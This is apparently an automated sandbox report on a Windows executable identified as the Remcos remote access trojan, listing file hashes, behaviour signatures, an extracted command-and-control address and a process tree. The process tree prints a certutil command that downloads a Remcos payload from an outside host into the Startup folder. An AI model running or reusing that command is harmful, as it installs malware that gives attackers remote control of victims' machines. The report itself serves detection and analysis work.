Overview

overview

10

Static

static

51611ffb39...11.exe

windows7_x64

10

51611ffb39...11.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12-11-2020 14:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe

  • Size

    960KB

  • MD5

    f66db43a97a69279f2e3bec3452ad56e

  • SHA1

    c6875b26c29efda68fd2c180abe1efb477f43b5e

  • SHA256

    51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11

  • SHA512

    2d7a90249a0746358b8f9c711918e15a257dc07c655c0d5b30427e44e3a9afcdd9859ff62d7a15a31b22f1e64b7262747f1d47a62048f31de577ad0fc013874b

Score
10/10
remcosrat

Malware Config

Extracted

Family

remcos

C2

www.rmagent.biz:7181

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
    "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
          PID:3124
      • C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe
        "C:\Users\Admin\AppData\Local\Temp\51611ffb39a6a802631cc9dd10b9e1c268750d153649ff9ce5561f5380c1bc11.exe"
        2⤵
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:204

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/204-3-0x00000000004C0000-0x00000000004E0000-memory.dmp

      Filesize

      128KB

      Download